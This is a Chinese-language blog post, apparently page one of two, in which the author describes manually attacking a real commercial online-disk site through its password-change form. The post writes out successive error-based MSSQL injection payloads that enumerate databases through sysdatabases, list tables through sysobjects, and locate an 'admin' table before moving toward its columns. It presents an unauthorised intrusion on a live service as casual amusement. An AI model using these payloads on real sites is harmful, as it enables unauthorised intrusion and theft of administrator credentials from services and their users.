对一个大型网络硬盘营业站点的测试

晚上，闲来无事,QQ群又吵死..无奈，于是对经常用的网络硬盘的一个网站测试,现在的注入弱点都已经封得不能再封了，没办法，不过逛来逛去，来到了一个提交表单的面前"修改密码"。

本次全为手动，没有用任何工具.

(点击查看原图)

首先说明，在mssql数据库中sysdatabase中是默认系统表，包含master、model、msdb、mssqlweb和empdb 5个数据库的项,dbid从1到5是系统的，分别是以上5个项,如果用户新建的话，那么dbid肯定从6开始，那么我们就试试暴出它玩玩.

在用户输入框中输入:

' and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) and '1'='1

返回如下图所值

好的，一个Northwind 库名暴了出来，哎~~要的不是这个，下来依次提交dbid=7,报出了如下图结果：

HOHO

这个是我所要的，因为我把dbid从6到8到试过了，后面都是返回了正常页面，而且当dbid=7的时候，这里的库名和网站的名称是一样的，所以确定为网站的库名。 其中我已经把库名屏蔽，以下用xxxxxxx来表示.............

既然得到了库名，相应的就是要暴出他的表名。OK，依然往下提交。

' and 0<>(select top 1 name from xxxxxxx.dbo.sysobjects where xtype='U') and '1'='1

OK，结果暴出了如下图

哎，得到Email_filts不是我要的，继续提交

'and 0<>(select top 1 name from xxxxxxx.dbo.sysobjects where xtype='U' and name not in('Email_Filts')) and '1'='1

得到'ADDSize_LOG'

继续提交

'and 0<>(select top 1 name from xxxxxxx.dbo.sysobjects where xtype='U' and name not in('Email_Filts','ADDSize_LOG')) and '1'='1

得到'admin'，好了，得到他了，应该没有错，HOHO

得到admin这个表，下来就是要表中的值了.

在用户名中提交：

'and 0<>(select count(*) from xxxxxxx.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) and '1'='1

[1] [2] 下一页

复制本页网址和标题，发送给你QQ/Msn的好友一起分享

上一篇:破解asp木马密码

下一篇:SQL注入的不常见方法